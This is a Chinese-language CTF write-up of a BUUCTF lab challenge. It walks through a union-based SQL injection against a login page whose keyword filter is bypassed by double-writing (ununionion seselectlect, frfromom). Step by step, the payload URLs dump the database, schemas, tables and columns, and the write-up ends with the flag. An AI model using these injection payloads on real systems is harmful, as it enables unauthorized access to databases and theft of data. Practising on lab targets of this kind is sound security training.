概述

sql基础不好,那能怎么办,还是得多练啊!!!

2023-12-05T12:09:24.png

打开是这样的:
2023-12-05T12:10:55.png

先来尝试一下普通的输入,导航栏有如下变化:

http://30276836-2cde-4db8-9e8e-8b230ea7c379.node4.buuoj.cn:81/check.php?username=admin&password=123

可以直接在导航栏进行sql注入

解题步骤

1、尝试万能密码,闭合双引号

?username=admin'&password=123 or '1'=1

发现报错,而or, select,where, union这些关键字都被过滤了,应该是用函数replace给我们替换成了空白字符
2023-12-05T12:19:43.png

2、使用双写绕过过滤

这里的%27是经过url编码中的单引号,%23是经过url编码中的#

?username=admin&password=123 %27  ununionion seselectlect 1 %23

2023-12-05T12:32:15.png

虽然还是报错,但是只是说列数不对,说明sql语句构造是正确的,所以现在只需要改变列数,

3、改变列数

列数为3时,有了回显

?username=admin&password=123 %27 ununionion seselectlect 1,2,3 %23

2023-12-05T12:41:22.png

4、爆破数据库

?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23

2023-12-05T12:43:14.png

5、看看能不能爆破出所有数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

2023-12-05T12:49:52.png

6、爆表

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

2023-12-05T12:52:32.png

7、爆数据

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag" %23

2023-12-05T12:54:51.png

拿到flag

flag{fdf1a1a8-1a01-44b2-8a96-bdf61a729682}